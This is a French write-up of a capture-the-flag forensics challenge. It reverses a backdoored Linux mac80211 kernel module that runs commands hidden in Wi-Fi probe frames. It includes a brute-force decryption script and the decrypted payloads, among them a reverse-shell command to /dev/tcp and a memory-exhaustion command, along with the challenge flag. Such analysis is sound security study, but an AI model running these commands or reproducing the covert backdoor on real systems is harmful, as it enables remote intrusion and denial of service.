AntarcticVault 2/2
Selon la description, l’attaque a réussi à se maintenir sur le noeud compromis, malgré un nettoyage. On a beaucoup d’éléments cette fois-ci :
- Une capture Wi-Fi avec des trames bizarres (selon la description)
- Le système de fichier du noeud compromis (Raspberry Pi)
- Un profil volatility2 pour le Raspberry Pi
- Un patch de volatility2
- La capture mémoire (la même qu’à l’étape 1) du Raspberry Pi
Une note indique qu’en plus du patch, des modifications sont à faire sur volatility.
Ayant une appréhension instinctive envers l’usage de volatility (sans parler de le patcher), je commence par toutes les étapes qui ne nécessitent pas ce projet.
Je commence donc par la nouvelle capture Wi-Fi. Celle-ci contient uniquement trois Probe Response (vu les timings, on peut conclure que la capture a déjà été expurgée de tout le trafic légitime et ne contient que les paquets bizarres). Ces paquets contiennent tous trois un paramètre “Vendor Specific”, qui est une chaîne apparemment aléatoire préfixée par “CSC”.
Si l’on extrait ces paramètres sur les trois paquets:
p1 = bytes.fromhex("435343f3dd20f9fdc8cfd3982629b6894bc8d23c65af2c4462cbe"\
+"10ad2cb90c37e4b7fc4829d8f879809e8815e17b622fcce6af92b14abcc56c3105a16"\
+"a7d20b492912b6a6c61d8d63b135c9a62b5e6b58dd2695e6")
p2 = bytes.fromhex("43534302452376fdc8cfd3983e9689d0faef6923128447a92c969"\
+"e8326447b0cdb43931a9d5f1e0892050d4761402ee3f7e3d3021f9b2f34c191daca79"\
+"b9e75c42338da5709aa26df24cfd52c5f51c473703201ec808ef05f294493c882c6e7"\
+"9f91d167825b39d649717a890")
p3 = bytes.fromhex("43534356034a84fdc8cfd3983e9689d0faef69230e89160e08296"\
+"5acb755bbf3d48751b8c4e8414f2837b0438c2789f605dafb6a9b390e77f227e3211c"\
+"40e36eb45a585a4a56f44aef64a8f72aea387aa2a20ed76ffc7c3c345d02acd8cf996"\
+"99d90f5063d8aafe321779145e5bd3011870966f226b8cafa81cfe127f0368106cd12"\
+"3eee29009bf51bb59a26e6f4ada66ed78c7c483e9a43")
print(p1)
print(p2)
print(p3)
# b'CSC .... '
# b'CSC .... '
# b'CSC .... '
On constate que le contenu est incompréhensible. Néanmoins, en regardant de plus près (concrètement, si on affiche les paquets en hexa dans gedit), certains bouts sont identiques au-delà du préfixe ‘CSC’.
Le fait d’avoir ce genre de sous-chaînes communes dans des données pseudo-aléatoires laisserait à penser que l’on est face à des données chiffrées par un algorithme de chiffrement à flot, dont la clé et le vecteur d’initialisation sont réutilisés entre les paquets.
Après avoir cherché quelques clairs connus (b"FCSC") aux différentes positions possibles, je ne tire pas grand chose de plus des paquets. (Cela dit, si l’hypothèse formulée est correcte, une vraie cryptanalyse pourrait donner quelques éléments).
Par ailleurs, les paquets sont de taille différentes et les flags sont généralement très grands. Comme le dernier paquet est nettement plus grand que les deux autres, il est possible qu’une bonne partie du flag soit dans la fin du paquet : même si on avait un clair entièrement connu sur les deux premiers paquets, il y a de bonnes chances pour que le flag ne puisse pas être complètement déchiffré.
On s’attaque donc au second élément donné: le système de fichier. Comme la chaîne “CSC” semble servir de préfixe aux paquets, on regarde si un programme ne l’utilise pas.
Après un grep sur tout le système de fichiers, un binaire se détache des autres : le module noyau mac80211.ko. Etant donné le moyen d’exfiltration (Wi-Fi), le module noyau dédié au Wi-Fi (la norme Wi-Fi est basée sur la spécification technique IEEE 802.11) parait prometteur.
grep -a CSC usr/lib/modules/5.10.92+/kernel/net/mac80211/mac80211.ko
net/mac80211/wpa.cℱCSChmac(sha256)net/mac80211/scan.c%s: Failed check-sdata-in-driver check,
flags: 0x%x
Avant le ‘CSC’ se trouve un F stylisé (Unicode codepoint U+2131), encodé ‘E284B1’ en UTF-8. On le retrouve également dans la capture Wi-Fi, puisque Wireshark décode l’OUI du vendor comme e2:84:b1. Dans ce module, on trouve également les symboles ‘do_fcsc’ et ‘fcsc_key’.
Cela semble confirmer l’hypothèse: le module mac80211.ko est corrompu ; allons le reverse.
On trouve une fonction ‘do_fcsc’ à l’intérieur du module, qui est une bonne première piste.
Elle prend en premier un paquet, et vérifie que les six premiers octets valent e284b1435343, le préfixe de nos trames. Ensuite, la fonction construit une clé à partir de 28 octets : les 12 premiers sont pris d’un paramètre d’entrée de la fonction, les 16 suivants sont les 16 premiers octets de la section .bss. Cette clé est utilisée pour calculer un hmac_sha256 des données du paquet. Les quatre premiers octets du mac sont comparés aux quatre octets du paquet suivant le préfixe.
La structure d’un paquet est finalement la suivante :
0 6 10 N
+----------------------+----------+------------------------+
| préfixe | mac | data |
+----------------------+----------+------------------------+
Ensuite, la fonction déchiffre les données avec un RC4 et la même clé qu’utilisée pour le HMAC. Les données déchiffreés sont copiées dans un buffer, préfixées d’une constante de 13 octets et la fonction unlzma est appelée dessus.
Après vérification, la constante de 13 octets correspond à un en-tête LZMA : le champ de données est donc compressé et chiffré. Enfin, les données déchiffrées sont utilisées dans la suite de la fonction, mais ne sont plus modifiées. On commence à voir les éléments nécessaires pour déchiffrer nos trames.
Il manque la construction de la clé. Les 16 octets du .bss se trouvent vraisemblablement dans le dump, on pourra les retrouver en testant toutes les suites de 16 octets possibles.
Manquent donc les 12 premiers octets de la clé.
Ceux-ci viennent de la structure passée en 3e argument de la fonction.
En regardant l’appel et ce qui l’entoure, la structure passée est une instance de ieee80211_mgmt
, dont une documentation en ligne se trouve ici
Les 12 premiers octets de clé sont en fait la concaténation des addresses destination et source da
et sa
qui sont stockées dans cette structure.
Pour déchiffrer les trames, on formule le plan suivant :
- On récupère les adresses source et destination depuis la capture (e8:94:f6:1f:6d:e5 et 00:16:3e:ce:3a:9a)
- Pour chaque suite de 16 octets dans le dump mémoire :
- On déchiffre les données des trois paquets
- On tente de décompresser les trois paquets
- Si la décompression est valide et que l’un des trois paquets contient “FCSC”, on affiche le contenu, sinon on passe à la suite suivante.
Note : à la rédaction, je me suis aperçu que l’on pouvait simplement vérifier le MAC des paquets, ce qui est nettement plus rapide. J’ai conservé la solution originale cependant.
Potentiellement, l’ordre des octets des paramètres ne sera pas le bon, donc on fait attention à tester toutes les inversions possibles. Le script qui fait le brute-force est le suivant :
from Crypto.Cipher import ARC4
import lzma
def xor(a,b):
minlen = len(a)
if len(b) < len(a):
minlen = len(b)
res = [0] * minlen
for i in range(minlen):
res[i] = a[i] ^ b[i]
return bytes(res)
p1 = bytes.fromhex("435343f3dd20f9fdc8cfd3982629b6894bc8d23c65af2c4462cbe"\
+"10ad2cb90c37e4b7fc4829d8f879809e8815e17b622fcce6af92b14abcc56c3105a16"\
+"a7d20b492912b6a6c61d8d63b135c9a62b5e6b58dd2695e6")
p2 = bytes.fromhex("43534302452376fdc8cfd3983e9689d0faef6923128447a92c969"\
+"e8326447b0cdb43931a9d5f1e0892050d4761402ee3f7e3d3021f9b2f34c191daca79"\
+"b9e75c42338da5709aa26df24cfd52c5f51c473703201ec808ef05f294493c882c6e7"\
+"9f91d167825b39d649717a890")
p3 = bytes.fromhex("43534356034a84fdc8cfd3983e9689d0faef69230e89160e08296"\
+"5acb755bbf3d48751b8c4e8414f2837b0438c2789f605dafb6a9b390e77f227e3211c"\
+"40e36eb45a585a4a56f44aef64a8f72aea387aa2a20ed76ffc7c3c345d02acd8cf996"\
+"99d90f5063d8aafe321779145e5bd3011870966f226b8cafa81cfe127f0368106cd12"\
+"3eee29009bf51bb59a26e6f4ada66ed78c7c483e9a43")
# En-tête LZMA
hdr = bytes.fromhex("5d00100000" + "ff"*8)
# Champ de données des paquets
ciph1 = p1[10:]
ciph2 = p2[10:]
ciph3 = p3[10:]
def test_decrypt(key):
done = False
global ciph1, ciph2, ciph3, hdr
try:
c = ARC4.new(key)
d1 = c.decrypt(ciph1)
d1 = hdr + d1
dec = lzma.LZMADecompressor()
dec1 = dec.decompress(d1)
c = ARC4.new(key)
d2 = c.decrypt(ciph2)
d2 = hdr + d2
dec = lzma.LZMADecompressor()
dec2 = dec.decompress(d2)
c = ARC4.new(key)
d3 = c.decrypt(ciph3)
d3 = hdr + d3
dec = lzma.LZMADecompressor()
dec3 = dec.decompress(d3)
done = True
except:
done = False
if not done:
return None
if b"FCSC" in dec1 or b"FCSC" in dec2 or b"FCSC" in dec3:
return (dec1, dec2, dec3)
return None
content = open("out.lime", "rb").read()
bs = 1000000
# Concaténation des addresses destination et source
dasa = bytes.fromhex("e56d1ff694e8")[::-1] + bytes.fromhex("9a3ace3e1600")[::-1]
for i in range(len(content)-0x10):
test_key = dasa + content[i:i+0x10]
if i%bs == 0:
print(f"{i//bs} / {len(content)//bs+1}")
res = test_decrypt(test_key)
if res is not None:
print(res)
Ce script est relativement long (plusieurs dizaines de minutes pour parcourir toute la mémoire) et non optimisé, mais trouve quand même la solution. Les paquets échangés étaient :
p1 : b'/bin/bash\x00-c\x00dhclient evil && bash -i >& /dev/tcp/10.0.10.1/32768 0>&1\x00\x00'
p2 : b'/bin/sh\x00-c\x00swapoff -a && sync && echo 3 > /proc/sys/vm/drop_caches && ( tail \
/dev/zero ) && swapon -a\x00\x00'
p3 : b'/bin/sh\x00-c\x00echo \'set_n 0 key_mgmt WPA-PSK\\nset_n 0 ssid "FCSC-SSID"\\n
set_n 0 psk "FCSC{3lUfj4ZSMpw7ZIpDDJQer7lfagAB3vra}"\\nen 0\'|wpa_cli \
-p/run/wpa_supplicant\x00\x00')
On a le deuxième flag : FCSC{3lUfj4ZSMpw7ZIpDDJQer7lfagAB3vra} ; et ce sans volatility.
On voit au final qu’il y a une exécution de commande qui est codée dans le module noyau mac80211.ko. Etant donné que l’on connait les secrets cryptographiques et le protocole utilisés, on peut utiliser la porte dérobée de l’attaquant pour reprendre le contrôle du noeud et le nettoyer.
TL; DR: Solution peu élégante et un peu brutale, mais ça flag sans toucher à volatility.